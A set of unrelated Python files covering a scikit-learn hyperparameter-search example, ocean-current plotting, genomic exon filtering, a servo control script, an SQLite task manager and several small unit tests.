solution = Solution()
self.assertEqual(1, solution.uniquePathsWithObstacles([
[0],
[0]
]))
|
"""
=========================================================================
Comparing randomized search and grid search for hyperparameter estimation
=========================================================================
Compare randomized search and grid search for optimizing hyperparameters of a
random forest.
All parameters that influence the learning are searched simultaneously
(except for the number of estimators, which poses a time / quality tradeoff).
The randomized search and the grid search explore exactly the same space of
parameters. The result in parameter settings is quite similar, while the run
time for randomized search is drastically lower.
The performance is slightly worse for the randomized search, though this
is most likely a noise effect and would not carry over to a held-out test set.
Note that in practice, one would not search over this many different parameters
simultaneously using grid search, but pick only the ones deemed most important.
"""
print(__doc__)
import numpy as np
from time import time
from scipy.stats import randint as sp_randint
from sklearn.model_selection import GridSearchCV
from sklearn.model_selection import RandomizedSearchCV
from sklearn.datasets import load_digits
from sklearn.ensemble import RandomForestClassifier
# get some data
digits = load_digits()
X, y = digits.data, digits.target
# build a classifier
clf = RandomForestClassifier(n_estimators=20)
# Utility function to report best scores
def report(results, n_top=3):
for i in range(1, n_top + 1):
candidates = np.flatnonzero(results['rank_test_score'] == i)
for candidate in candidates:
print("Model with rank: {0}".format(i))
print("Mean validation score: {0:.3f} (std: {1:.3f})".format(
results['mean_test_score'][candidate],
results['std_test_score'][candidate]))
print("Parameters: {0}".format(results['params'][candidate]))
print("")
# specify parameters and distributions to sample from
param_dist = {"max_depth": [3, None],
"max_features": sp_randint(1, 11),
"min_samples_split": sp_randint(1, 11),
"min_samples_leaf": sp_randint(1, 11),
"bootstrap": [True, False],
"criterion": ["gini", "entropy"]}
# run randomized search
n_iter_search = 20
random_search = RandomizedSearchCV(clf, param_distributions=param_dist,
n_iter=n_iter_search)
start = time()
random_search.fit(X, y)
print("RandomizedSearchCV took %.2f seconds for %d candidates"
" parameter settings." % ((time() - start), n_iter_search))
report(random_search.cv_results_)
# use a full grid over all parameters
param_grid = {"max_depth": [3, None],
"max_features": [1, 3, 10],
"min_samples_split": [1, 3, 10],
"min_samples_leaf": [1, 3, 10],
"bootstrap": [True, False],
"criterion": ["gini", "entropy"]}
# run grid search
grid_search = GridSearchCV(clf, param_grid=param_grid)
start = time()
grid_search.fit(X, y)
print("GridSearchCV took %.2f seconds for %d candidate parameter settings."
% (time() - start, len(grid_search.cv_results_['params'])))
report(grid_search.cv_results_)
|
# Copyright 2013-2021 The Salish Sea MEOPAR contributors
# and The University of British Columbia
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Produce surface currents tile figures in both website themed and unthemed style.
"""
import datetime
import netCDF4
import numpy
import numpy.ma
import pytz
from matplotlib.figure import Figure
from salishsea_tools import viz_tools
import nowcast.figures.website_theme
def make_figure(
run_date,
t_index,
Uf,
Vf,
coordf,
mesh_maskf,
bathyf,
tile_coords_dic,
expansion_factor,
theme=nowcast.figures.website_theme,
):
"""
Create a list of surface current tile figures for a given time index t_index.
:param run_date: Date of the run to create the figure tiles for.
:type run_date: :py:class:`Arrow.arrow`
:param t_index: time index
:type t_index: int
:param Uf: Path to Salish Sea NEMO grid_U output file.
:type Uf: :py:class:`pathlib.Path`
:param Vf: Path to Salish Sea NEMO grid_V output file.
:type Vf: :py:class:`pathlib.Path`
:param coordf: Path to Salish Sea NEMO model coordinates file.
:type coordf: :py:class:`pathlib.Path`
:param mesh_maskf: Path to Salish Sea NEMO-generated mesh mask file.
:type mesh_maskf: :py:class:`pathlib.Path`
:param bathyf: Path to Salish Sea NEMO model bathymetry file.
:type bathyf: :py:class:`pathlib.Path`
:param tile_coords_dic: Dictionary containing tile coordinate definitions in longitude and latitude.
See :py:mod:`nowcast.figures.surface_current_domain`.
:type tile_coords_dic: dict
:param expansion_factor: Overlap fraction for tiles (typically between 0 and 0.25)
:type expansion_factor: float
:param theme: Module-like object that defines the style elements for the
figure. See :py:mod:`nowcast.figures.website_theme` for an
example.
:returns: list of matplotlib Figures and list of names for all figures
"""
# fmt: off
with \
netCDF4.Dataset(Uf) as dsU, \
netCDF4.Dataset(Vf) as dsV, \
netCDF4.Dataset(coordf) as dsCoord, \
netCDF4.Dataset(mesh_maskf) as dsMask, \
netCDF4.Dataset(bathyf) as dsBathy:
fig_list, tile_list = _makeTiles(
t_index,
dsU,
dsV,
dsCoord,
dsMask,
dsBathy,
theme,
tile_coords_dic,
expansion_factor,
)
# fmt: on
return fig_list, tile_list
def _prepareVelocity(time, dsU, dsV, dsCoord, dsMask):
"""
Load the velocities and unstagger, rotate and mask them.
"""
# Get array of u (x-direction velocity) at time index time and depthU=0 (top layer)
u = dsU.variables["vozocrtx"][time, 0, :, :]
# Get array of v (y-direction velocity) at time index time and depthV=0 (top layer)
v = dsV.variables["vomecrty"][time, 0, :, :]
# Unstagger the velocities so they are on T points
unstaggerU, unstaggerV = viz_tools.unstagger(u, v)
# Rotate the velocities from grid coordinates to east-north
unstaggerU_rotate, unstaggerV_rotate = viz_tools.rotate_vel2(
unstaggerU, unstaggerV, dsCoord, origin="grid"
)
# Load land mask (0 for land, 1 for water)
# Drop the first row and first column of the mask to match the unstaggered velocities
mask = dsMask.variables["tmask"][0, 0, 1:, 1:]
# Apply land mask to velocities data
# Use 1-mask here because masked_array needs 1 for missing values.
maskU = numpy.ma.masked_array(unstaggerU_rotate, 1 - mask)
maskV = numpy.ma.masked_array(unstaggerV_rotate, 1 - mask)
return maskU, maskV
def _prepareCoordinates(_dsCoord):
"""
Loads the longitude and latitude coordinates and trim to match unstaggered velocities
"""
coord_xt = _dsCoord.variables["glamt"][0, 1:, 1:]
coord_yt = _dsCoord.variables["gphit"][0, 1:, 1:]
return coord_xt, coord_yt
def _createTileTitle(sec, units, calendar):
"""
Constructs the time stamp in both UTC and local time for the figure title
"""
dt = netCDF4.num2date(
sec, units, calendar=calendar, only_use_cftime_datetimes=False
)
dt_utc = datetime.datetime.combine(
dt.date(), dt.time(), pytz.utc
) # add timezone to utc time
pst_tz = pytz.timezone("Canada/Pacific")
fmt = "%Y-%m-%d %H:%M:%S %Z"
loc_dt = dt_utc.astimezone(pst_tz)
title_pst = loc_dt.strftime(fmt)
title_utc = dt_utc.strftime(fmt)
return title_pst + "\n" + title_utc
def _makeTiles(
t_index,
dsU,
dsV,
dsCoord,
dsMask,
dsBathy,
theme,
tile_coords_dic,
expansion_factor,
):
"""
Produce surface current tile figures for each tile at time index t_index
"""
units = dsU.variables["time_counter"].units
calendar = dsU.variables["time_counter"].calendar
maskU, maskV = _prepareVelocity(t_index, dsU, dsV, dsCoord, dsMask)
coord_xt, coord_yt = _prepareCoordinates(dsCoord)
k = 3
tiles = []
figs = []
for tile, values in tile_coords_dic.items():
x1, x2, y1, y2 = values[0], values[1], values[2], values[3]
sec = dsU.variables["time_counter"][t_index]
if theme is None:
fig = Figure(figsize=(8.5, 11), facecolor="white")
else:
fig = Figure(
figsize=(11, 9), facecolor=theme.COLOURS["figure"]["facecolor"]
)
ax = fig.add_subplot(111)
X, Y = coord_xt[::k, ::k].flatten(), coord_yt[::k, ::k].flatten()
U, V = maskU[::k, ::k].flatten(), maskV[::k, ::k].flatten()
i = numpy.logical_not(U.mask)
XC, YC, UC, VC = X[i], Y[i], U[i].data, V[i].data
# Add some vectors in the middle of the Atlantic to ensure we get at least one for each arrow size
tempU = numpy.linspace(0, 5, 50)
zeros = numpy.zeros(tempU.shape)
XC = numpy.concatenate([XC, zeros])
YC = numpy.concatenate([YC, zeros])
UC = numpy.concatenate([UC, tempU])
VC = numpy.concatenate([VC, zeros])
SC = numpy.sqrt(UC ** 2 + VC ** 2)
i = SC < 0.05
if numpy.any(i):
UCC, VCC, XCC, YCC = _cut(UC, VC, XC, YC, i)
ax.scatter(XCC, YCC, s=2, c="k")
# Arrow parameters: list of tuples of (speed_min, speed_max, arrow_width, arrow_head_width)
arrowparamslist = [
(0.05, 0.25, 0.003, 3.00),
(0.25, 0.50, 0.005, 2.75),
(0.50, 1.00, 0.007, 2.25),
(1.00, 1.50, 0.009, 2.00),
(1.50, 2.00, 0.011, 1.50),
(2.00, 2.50, 0.013, 1.25),
(2.50, 3.00, 0.015, 1.00),
(3.00, 4.00, 0.017, 0.75),
(4.00, 100, 0.020, 2.00),
]
if theme is None:
# Quiver key positions (x,y) relative to axes that spans [0,1]x[0,1]
positionslist = [
(0.55, 1.14),
(0.55, 1.10),
(0.55, 1.06),
(0.55, 1.02),
(0.80, 1.18),
(0.80, 1.14),
(0.80, 1.10),
(0.80, 1.06),
(0.80, 1.02),
]
FP = None
ax.text(0.53, 1.17, r"$\bullet$ < 0.05 m/s", transform=ax.transAxes)
else:
# Quiver key positions (x,y) relative to axes that spans [0,1]x[0,1]
positionslist = [
(1.05, 0.95),
(1.05, 0.90),
(1.05, 0.85),
(1.05, 0.80),
(1.05, 0.75),
(1.05, 0.70),
(1.05, 0.65),
(1.05, 0.60),
(1.05, 0.55),
]
FP = theme.FONTS["axis"]
fontsize = FP.get_size() - 4
ax.text(
1.03,
0.98,
r"$\bullet$ < 0.05 m/s",
color=theme.COLOURS["text"]["axis"],
fontsize=fontsize,
transform=ax.transAxes,
)
# Draw each arrow
for arrowparams, positions in zip(arrowparamslist, positionslist):
_drawArrows(arrowparams, positions, UC, VC, XC, YC, SC, ax, theme, FP)
ax.grid(True)
# Use expansion factor to set axes limits
dx = (x2 - x1) * expansion_factor
dy = (y2 - y1) * expansion_factor
ax.set_xlim([x1 - dx, x2 + dx])
ax.set_ylim([y1 - dy, y2 + dy])
# Decorations
title = _createTileTitle(sec, units, calendar) + "\n" + tile
x_label = "Longitude"
y_label = "Latitude"
if theme is None:
title_notheme = "SalishSeaCast Surface Currents\n" + title + "\n"
ax.set_title(title_notheme, fontsize=12, loc="left")
ax.set_xlabel(x_label)
ax.set_ylabel(y_label)
else:
ax.set_title(
title,
fontsize=10,
color=theme.COLOURS["text"]["axis"],
fontproperties=FP,
)
ax.set_xlabel(
x_label,
fontsize=8,
color=theme.COLOURS["text"]["axis"],
fontproperties=FP,
)
ax.set_ylabel(
y_label, color=theme.COLOURS["text"]["axis"], fontproperties=FP
)
theme.set_axis_colors(
ax
) # Makes the x and y numbers and axis lines into near-white
x_tick_loc = ax.get_xticks()
x_tick_label = ["{:.1f}".format(q) for q in x_tick_loc]
ax.set_xticklabels(x_tick_label, rotation=45)
viz_tools.plot_land_mask(
ax, dsBathy, coords="map", color="burlywood", zorder=-9
)
ax.set_rasterization_zorder(-1)
viz_tools.plot_coastline(ax, dsBathy, coords="map")
viz_tools.set_aspect(ax, coords="map", lats=coord_yt)
tiles += [tile]
figs += [fig]
return figs, tiles
def _cut(UC, VC, XC, YC, i):
"""
Helper function to subset vectors
"""
return UC[i], VC[i], XC[i], YC[i]
def _drawArrows(arrowparams, positions, UC, VC, XC, YC, SC, ax, theme, FP):
"""
Helper function to draw arrows in each velocity range
arrowparams holds the quiver arrow parameters corresponding to each speed range
positions holds the coordinates relative to the [0,1]x[0,1] axes to draw the quiverkey
UC, VC are the velocity components at positions XC, YC
SC is the speed
ax is the axes to draw on
theme is the theme
FP is a font properties dictionary
"""
speed_min, speed_max, width, headwidth = arrowparams
xpos, ypos = positions
i = (SC >= speed_min) & (SC < speed_max)
if numpy.any(i):
# Draw the quiver arrows
UCC, VCC, XCC, YCC = _cut(UC, VC, XC, YC, i)
q = ax.quiver(
XCC,
YCC,
UCC / SC[i],
VCC / SC[i],
headwidth=2,
headlength=0.008 / width,
headaxislength=0.008 / width,
width=width,
scale=50,
zorder=3,
)
# Construct quiver label
if speed_min >= 4:
label = r">= {:.2f} m/s".format(speed_min)
else:
label = r"{:.2f}-{:.2f} m/s".format(speed_min, speed_max)
# Add the quiverkey label
if theme is None:
qk = ax.quiverkey(q, xpos, ypos, 1, label, labelpos="E")
else:
fontsize = FP.get_size() - 4
quickerKey_dict = {
"family": FP.get_family(),
"style": FP.get_style(),
"variant": FP.get_variant(),
"weight": FP.get_weight(),
"stretch": FP.get_stretch(),
"size": fontsize,
}
qk = ax.quiverkey(
q,
xpos,
ypos,
1,
label,
labelpos="E",
color=theme.COLOURS["text"]["axis"],
labelcolor=theme.COLOURS["text"]["axis"],
fontproperties=quickerKey_dict,
)
|
# This file is to preprocess the annotation file to keep the alternative
# exons with high quality, by using the following criteria:
# 1. surronding introns are no shorter than 100bp
# 2. not overlapped by any SE triplets or AS-exon
# 3. the length of the alternative exon within a given region, e.g. 50~450bp
# 4. with a minimum distance from TSS or TTS, e.g., 500
# 5. surrounded by AG-GT, i.e., AG-as_exon-GT
# 6. located on specific chromosomes, i.e., 1-22 and X
# To do so, we first choose the chromosomes, and then filter genes overlaping
# with others, then only keep the genes with given biotype. Finally, based on
# those genes, we will include the exons with high quality.
import sys
import subprocess
import numpy as np
from briekit.utils.fasta_utils import FastaFile
from briekit.utils.gtf_utils import loadgene, savegene, parse_attribute
from optparse import OptionParser, OptionGroup
def get_gene_idx(anno_in):
"""To get the index of all genes in the annotation lines.
The index number starts from 0."""
g_idx = []
now_g = -1
g_chr = []
g_start = []
g_stop = []
for i in range(len(anno_in)):
if anno_in[i][0] == "#" or anno_in[i][0] == ">" : continue
a_line = anno_in[i].split("\t")
if len(a_line) >= 9: last_g = i
if len(a_line) >= 9 and a_line[2] == 'gene':
pre_g = now_g + 0
now_g = i
if pre_g != -1:
g_idx.append([pre_g, now_g-1])
g_chr.append(anno_in[pre_g].split("\t")[0])
g_start.append(int(anno_in[pre_g].split("\t")[3]))
g_stop.append(int(anno_in[pre_g].split("\t")[4]))
g_idx.append([now_g, last_g])
g_chr.append(anno_in[now_g].split("\t")[0])
g_start.append(int(anno_in[now_g].split("\t")[3]))
g_stop.append(int(anno_in[now_g].split("\t")[4]))
return np.array(g_idx), np.array(g_chr), np.array(g_start), np.array(g_stop)
def gene_overlap_check(anno_in, g_idx, g_chr, mode="exon"):
"""check wheter overlap between genes or AS-exons."""
start_loc, stop_loc = [], []
if mode == "gene":
for i in g_idx[:,0]:
start_loc.append(int(anno_in[i].split("\t")[3]))
stop_loc.append(int(anno_in[i].split("\t")[4]))
elif mode == "exon":
for i in g_idx[:,0]:
start_loc.append(int(anno_in[i+3].split("\t")[3]))
stop_loc.append(int(anno_in[i+3].split("\t")[4]))
start_loc, stop_loc = np.array(start_loc), np.array(stop_loc)
g_keep = np.ones(len(g_idx), "bool")
chr_unique = np.unique(g_chr)
for c in chr_unique:
idx = np.where(g_chr == c)[0]
sort_idx = idx[np.argsort(start_loc[idx])]
for i in range(len(sort_idx)-1):
if start_loc[sort_idx[i+1]] <= stop_loc[sort_idx[i]]:
# print "test1"
# for temp in anno_in[g_idx[sort_idx[i+1],0]:g_idx[sort_idx[i+1],1]+1]:
# print temp.split()[:-1]
# print "test2"
# for temp in anno_in[g_idx[sort_idx[i],0]:g_idx[sort_idx[i],1]+1]:
# print temp.split()[:-1]
g_keep[sort_idx[i]] = False
g_keep[sort_idx[i+1]] = False
anno_out = []
for i in range(len(g_idx)):
if g_keep[i]:
anno_out += anno_in[g_idx[i,0]: g_idx[i,1]+1]
return anno_out
def as_exon_check(fastaFile, anno_in, g_idx, as_exon_min, as_exon_max,
as_exon_tss, as_exon_tts, chroms, no_splice_site=False):
"""check the quality of alternative exon."""
anno_out = []
for i in range(g_idx.shape[0]):
vals_g = anno_in[g_idx[i,0]].split("\t")
_exon_loc = np.array(anno_in[g_idx[i,0]+3].split("\t")[3:5], "int")
_exon1_loc = np.array(anno_in[g_idx[i,0]+2].split("\t")[3:5], "int")
_exon3_loc = np.array(anno_in[g_idx[i,0]+4].split("\t")[3:5], "int")
# in case, reverse in minus strand
if _exon1_loc[0] > _exon3_loc[0]:
_exon1_loc, _exon3_loc = _exon3_loc, _exon1_loc
_exon_len = _exon_loc[1] - _exon_loc[0] + 1
# check 1: not too short or too long
if _exon_len < as_exon_min or _exon_len > as_exon_max:
continue
# check 2: chromsome
chrom = vals_g[0].split("chr")[-1]
if chroms.count(chrom) == 0:
chrom = "chr" + chrom
if chroms.count(chrom) == 0:
continue
# check 3: surrounding splice sites AG--exon--GT
if no_splice_site == False:
if vals_g[6] == "+":
up_ss3 = fastaFile.get_seq(chrom, _exon_loc[0]-2, _exon_loc[0]-1)
dn_ss5 = fastaFile.get_seq(chrom, _exon_loc[1]+1, _exon_loc[1]+2)
if up_ss3 != "AG" or dn_ss5 != "GT":
continue
# print up_ss3, dn_ss5
else:
up_ss3 = fastaFile.get_seq(chrom, _exon_loc[1]+1, _exon_loc[1]+2)
dn_ss5 = fastaFile.get_seq(chrom, _exon_loc[0]-2, _exon_loc[0]-1)
if up_ss3 != "CT" or dn_ss5 != "AC":
continue
# print up_ss3, dn_ss5
# check 4: not too close to TSS or TTS
# and not too short introns.
if vals_g[6] == "+":
tss_dis = _exon_loc[0] - _exon1_loc[0]
tts_dis = _exon3_loc[1] - _exon_loc[1]
up_dis = _exon_loc[0] - _exon1_loc[1]
dn_dis = _exon3_loc[0] - _exon_loc[1]
else:
tts_dis = _exon_loc[0] - _exon1_loc[0]
tss_dis = _exon3_loc[1] - _exon_loc[1]
dn_dis = _exon_loc[0] - _exon1_loc[1]
up_dis = _exon3_loc[0] - _exon_loc[1]
if tts_dis <= 0 and tss_dis <= 0:
print("TTS or TSS distance warning: %s" %vals_g[6])
for temp in anno_in[g_idx[i,0]:g_idx[i,1]+1]:
print(temp.split()[:-1])
if tss_dis < as_exon_tss or tts_dis < as_exon_tts:
# print tss_dis, tts_dis
continue
# intron distance
if up_dis < 100 or dn_dis < 100:
continue
# high quality
anno_out += anno_in[g_idx[i,0]:g_idx[i,1]+1]
g_num, as_exon_num = len(anno_out) / 8, len(anno_out) / 8
return anno_out, g_num, as_exon_num
def map_ids(id1, id2):
"""this function is to map id2 to id1"""
j = 0
idx2 = []
sidx1 = np.argsort(id1)
sidx2 = np.argsort(id2)
sidx0 = np.argsort(sidx1)
for i in range(len(sidx1)):
# if i >= 1 and id1[sidx1[i-1]] == id1[sidx1[i]]:
# idx2.append(idx2[-1])
# continue
if j >= len(id2):
idx2.append(None)
continue
while id1[sidx1[i]] > id2[sidx2[j]]:
j += 1
if id1[sidx1[i]] == id2[sidx2[j]]:
idx2.append(sidx2[j])
j += 1
continue
else:
print("id mapping warning:")
print(id1[sidx1[i-1]], id2[sidx2[j-1]])
print(id1[sidx1[i]], id2[sidx2[j-1]])
print(id1[sidx1[i]], id2[sidx2[j]])
idx2.append(None)
continue
return np.array(idx2)[sidx0]
def save_out(anno_in, anno_ref, out_file, chroms=[], no_gene_version=False):
exon_str_SE = []
for i in range(0, len(anno_in), 8):
vals = anno_in[i+3].strip().split("\t")
exon_str_SE.append(".".join([vals[0],vals[3],vals[4],vals[6]]))
exon_str_ref = []
gene_info = []
for i in range(len(anno_ref)):
if anno_ref[i].startswith("#"):continue
vals = anno_ref[i].strip().split("\t")
if vals[2] != "exon":
continue
exon_str_ref.append(".".join([vals[0],vals[3],vals[4],vals[6]]))
gene_info.append(vals[8])
ginfo_idx = map_ids(exon_str_SE, exon_str_ref)
# print len(exon_str_SE), len(exon_str_ref)
# print len(ginfo_idx), len(gene_info), len(anno_in)
#exit()
temp_gene = []
fid = open(out_file, "w")
fid.writelines("#annotation file with high-qulity alternative exons.\n")
for i in range(0, len(anno_in), 8):
if i is not None:
attributes = parse_attribute(gene_info[ginfo_idx[i/8]], default="#",
ID_tags="ID,gene_id", Name_tags="Name,gene_name")
else:
attributes = {"ID": "#", "Name": "#", "Type": "#"}
if no_gene_version:
_gene_id = attributes["ID"].split(".")[0]
else:
_gene_id = attributes["ID"]
_num = temp_gene.count(_gene_id)
temp_gene.append(_gene_id)
if _num > 0:
_gene_id += ".AS%d" %(_num+1)
if _gene_id.startswith("#"):
if anno_in[i].split()[6] != "-":
print("Warning: gene %s not found!" %exon_str_SE[i])
for temp in anno_in[i:i+8]:
print(temp.split()[:-1] )
continue
## In gtf format
chrom = anno_in[i+0].strip().split("\t")[0]
if chroms.count(chrom) == 0:
if chroms.count("chr"+chrom) == 1:
for k in range(8): anno_in[i+k] = "chr" + anno_in[i+k]
elif len(chrom) > 3 and chroms.count(chrom[3:]) == 1:
for k in range(8): anno_in[i+k] = anno_in[i+k][3:]
vals = anno_in[i+0].strip().split("\t")
vals[8] = "gene_id \"%s\"; gene_name \"%s\"; gene_type \"%s\"" %(_gene_id,
attributes["Name"], attributes["Type"])
fid.writelines("\t".join(vals) + "\n")
vals = anno_in[i+1].strip().split("\t")
vals[2] = "transcript"
vals[8] = "gene_id \"%s\"; transcript_id \"%s.in\"" %(_gene_id, _gene_id)
fid.writelines("\t".join(vals) + "\n")
vals = anno_in[i+2].strip().split("\t")
vals[8] = "gene_id \"%s\"; transcript_id \"%s.in\"" %(_gene_id, _gene_id)
fid.writelines("\t".join(vals) + "\n")
vals = anno_in[i+3].strip().split("\t")
vals[8] = "gene_id \"%s\"; transcript_id \"%s.in\"" %(_gene_id, _gene_id)
fid.writelines("\t".join(vals) + "\n")
vals = anno_in[i+4].strip().split("\t")
vals[8] = "gene_id \"%s\"; transcript_id \"%s.in\"" %(_gene_id, _gene_id)
fid.writelines("\t".join(vals) + "\n")
vals = anno_in[i+5].strip().split("\t")
vals[2] = "transcript"
vals[8] = "gene_id \"%s\"; transcript_id \"%s.out\"" %(_gene_id, _gene_id)
fid.writelines("\t".join(vals) + "\n")
vals = anno_in[i+6].strip().split("\t")
vals[8] = "gene_id \"%s\"; transcript_id \"%s.out\"" %(_gene_id, _gene_id)
fid.writelines("\t".join(vals) + "\n")
vals = anno_in[i+7].strip().split("\t")
vals[8] = "gene_id \"%s\"; transcript_id \"%s.out\"" %(_gene_id, _gene_id)
fid.writelines("\t".join(vals) + "\n")
fid.close()
def main():
#part 0. parse command line options
parser = OptionParser()
parser.add_option("--anno_file", "-a", dest="anno_file", default=None,
help="The annotation file of SE events in gff3 format from rnaseqlib.")
parser.add_option("--anno_ref", dest="anno_ref", default=None,
help="The reference annotation file in gtf format.")
parser.add_option("--reference", "-r", dest="reference", default=None,
help="The genome reference sequence file in fasta format.")
parser.add_option("--out_file", "-o", dest="out_file", default=None,
help="The full path of out files: path/file.gtf")
group = OptionGroup(parser, "Optional arguments")
group.add_option("--as_exon_min", dest="as_exon_min", default="50",
help="the minimum length for the alternative splicing exon.")
group.add_option("--as_exon_max", dest="as_exon_max", default="450",
help="the maximum length for the alternative splicing exon.")
group.add_option("--as_exon_tss", dest="as_exon_tss", default="500",
help="the minimum length for the alternative exon to TSS.")
group.add_option("--as_exon_tts", dest="as_exon_tts", default="500",
help="the minimum length for the alternative exon to TTS.")
group.add_option("--add_chrom", dest="add_chrom", default="chrX",
help="the extra chromosomes besides autosome, e.g., chrX,chrY,chrM")
group.add_option("--keep_overlap", action="store_true", dest="keep_overlap",
default=False, help="Keep overlapped events; otherwise not")
group.add_option("--no_splice_site", action="store_true",
dest="no_splice_site", default=False,
help="Don't check splice sites, i.e., GT-AG; otherwise check.")
group.add_option("--no_gene_version", action="store_true",
dest="no_gene_version", default=False,
help="Remove gene id version, eg. ENSxxx.2")
parser.add_option_group(group)
(options, args) = parser.parse_args()
if len(sys.argv[1:]) == 0:
print("Welcome to BRIEkit-event-filter!\n")
print("use -h or --help for help on argument.")
sys.exit(1)
if options.anno_file is None:
print("Error: need --anno_file for annotation.")
sys.exit(1)
else:
if options.anno_file.endswith(".gz") or options.anno_file.endswith(".gzip"):
import gzip
fid = gzip.open(options.anno_file, "rb")
else:
fid = open(options.anno_file, "r")
anno_in = fid.readlines()
fid.close()
if options.out_file is None:
out_file = ".".join(options.anno_file.split(".")[:-2]) + ".filtered.gtf"
else:
out_file = options.out_file
if out_file.endswith(".gz"):
out_file = out_file[:-3]
elif out_file.endswith(".gzip"):
out_file = out_file[:-5]
if options.reference is None:
print("Error: need --reference for genome sequecne.")
sys.exit(1)
else:
fastaFile = FastaFile(options.reference)
if options.anno_ref is None:
anno_ref = None
else:
if options.anno_ref.endswith(".gz") or options.anno_ref.endswith(".gzip"):
import gzip
fid = gzip.open(options.anno_ref, "rb")
else:
fid = open(options.anno_ref, "r")
anno_ref = fid.readlines()
fid.close()
add_chrom = options.add_chrom
as_exon_min = int(options.as_exon_min)
as_exon_max = int(options.as_exon_max)
as_exon_tss = int(options.as_exon_tss)
as_exon_tts = int(options.as_exon_tts)
keep_overlap = options.keep_overlap
no_splice_site = options.no_splice_site
no_gene_version = options.no_gene_version
chroms = []
for i in range(1,23):
if fastaFile.f.references.count("chr%d" %i) == 1:
chroms.append("chr%d" %i)
elif fastaFile.f.references.count("%d" %i) == 1:
chroms.append("%d" %i)
chroms += add_chrom.split(",")
# remove overlap splicing events
# g_idx, g_chr, g_start, g_stop = get_gene_idx(anno_in)
# anno_in = gene_overlap_check(anno_in, g_idx, g_chr, g_start, g_stop)
# get gene index
g_idx, g_chr, g_start, g_stop = get_gene_idx(anno_in)
print("%d Skipped Exon events are input for quality check." %(len(g_idx)))
# alternative exon quality check
anno_out, g_num, ex_num = as_exon_check(fastaFile, anno_in, g_idx,
as_exon_min, as_exon_max, as_exon_tss, as_exon_tts, chroms,
no_splice_site)
print("%d Skipped Exon events pass the qulity control." %(g_num))
# remove overlapped skipping exons
if keep_overlap == False:
g_idx, g_chr, g_start, g_stop = get_gene_idx(anno_out)
anno_out = gene_overlap_check(anno_out, g_idx, g_chr, "exon")
g_idx, g_chr, g_start, g_stop = get_gene_idx(anno_out)
print("%d Skipped Exon events pass the overlapping check." %(len(g_idx)))
# saving out
save_out(anno_out, anno_ref, out_file, chroms, no_gene_version)
bashCommand = "gzip -f %s" %(out_file)
pro = subprocess.Popen(bashCommand.split(), stdout=subprocess.PIPE)
output = pro.communicate()[0]
# save gff format
genes = loadgene(out_file + ".gz")
gff3_out_file = ".".join(out_file.split(".")[:-1]) + ".gff3.gz"
savegene(gff3_out_file, genes)
if __name__ == "__main__":
main()
|
import pigpio
import time
motor_pin = 27 #メモしたGPIO番号
pi = pigpio.pi()
for i in range(3):
pi.set_servo_pulsewidth(motor_pin, 1500)
time.sleep(1)
pi.set_servo_pulsewidth(motor_pin, 1600)
time.sleep(1)
pi.set_servo_pulsewidth(motor_pin, 1700)
time.sleep(1)
pi.set_servo_pulsewidth(motor_pin, 1800)
time.sleep(1)
pi.set_servo_pulsewidth(motor_pin, 1900)
time.sleep(1)
pi.set_servo_pulsewidth(motor_pin, 2000)
time.sleep(1)
pi.set_servo_pulsewidth(motor_pin, 0)
pi.stop()
|
LIB_METHODS = ["unwrap"]
EXCEPTION_TYPE = "exception_handler"
ERROR_TYPE = "error_handler"
FUNC_TYPE = "function"
IGNORE_TYPE = "ignore"
|
import sqlite3
from sqlite3 import Error
class DB_Manager:
def __init__(self, db_file="database.db"):
try:
# create connection
self.conn = sqlite3.connect(db_file)
except Error as e:
print(e)
# create projects table
self.create_table(""" CREATE TABLE IF NOT EXISTS projects (
id integer PRIMARY KEY,
name text NOT NULL,
begin_date text,
end_date text
); """)
# create tasks table
self.create_table("""CREATE TABLE IF NOT EXISTS tasks (
id integer PRIMARY KEY,
name text NOT NULL,
priority integer,
status_id integer NOT NULL,
project_id integer NOT NULL,
begin_date text NOT NULL,
end_date text NOT NULL,
FOREIGN KEY (project_id) REFERENCES projects (id)
);""")
def create_table(self, create_table_sql):
""" create a table from the create_table_sql statement
:param conn: Connection object
:param create_table_sql: a CREATE TABLE statement
:return:
"""
try:
c = self.conn.cursor()
c.execute(create_table_sql)
except Error as e:
print(e)
def create_project(self, project):
""" create new project into the project table
:param conn:
:param project:
:return: project id
"""
sql = ''' INSERT INTO projects(name, begin_date, end_date)
VALUES(?,?,?) '''
cur = self.conn.cursor()
cur.execute(sql, project)
self.conn.commit()
return cur.lastrowid
def create_task(self, task):
""" create new task
:param conn:
:param task:
:return:
"""
slq = ''' INSERT INTO tasks(name, priority, status_id, project_id, begin_date, end_date)
VALUES(?,?,?,?,?,?)'''
cur = self.conn.cursor()
cur.execute(slq, task)
self.conn.commit()
return cur.lastrowid
|
import yaml
from yabf import Likelihood, LikelihoodContainer, load_likelihood_from_yaml
def test_round_trip():
# subclass
yml = """
likelihoods:
- name: small
class: SimpleLikelihood
components:
- name: shared
class: SimpleComponent
- name: big
class: SimpleLikelihood
components:
- name: unshared
class: SimpleComponent
- name: shared
class: SimpleComponent
"""
lk = load_likelihood_from_yaml(yml)
assert isinstance(lk, LikelihoodContainer)
assert "small" in lk._subcomponent_names
assert "big" in lk._subcomponent_names
print(list(lk.child_components.keys()))
print(lk.likelihoods[0]._subcomponents)
assert "small.shared" in lk.child_components
assert "big.unshared" in lk.child_components
print(lk.common_components)
assert "small.shared" in lk.common_components[0][1]
out = yaml.dump(lk)
lk2 = yaml.load(out, Loader=yaml.Loader)
assert lk == lk2
def test_paramvec():
yml = """
likelihoods:
- name: vec
class: ParameterVecLikelihood
params:
x:
length: 3
"""
lk = load_likelihood_from_yaml(yml)
assert isinstance(lk, Likelihood)
assert len(lk.child_active_params) == 3
assert "x_0" in lk.child_active_params
|
import unittest
from xie.graphics.utils import TextCodec
class TextUtilsTestCase(unittest.TestCase):
def setUp(self):
self.codec = TextCodec()
def tearDown(self):
pass
def test_encodeStartPoint(self):
self.assertEqual("0.37.59", self.codec.encodeStartPoint((37, 59)))
self.assertEqual("0.59.37", self.codec.encodeStartPoint((59, 37)))
self.assertEqual("0.0.0", self.codec.encodeStartPoint((0, 0)))
self.assertEqual("0.255.0", self.codec.encodeStartPoint((255, 0)))
self.assertEqual("0.255.255", self.codec.encodeStartPoint((255, 255)))
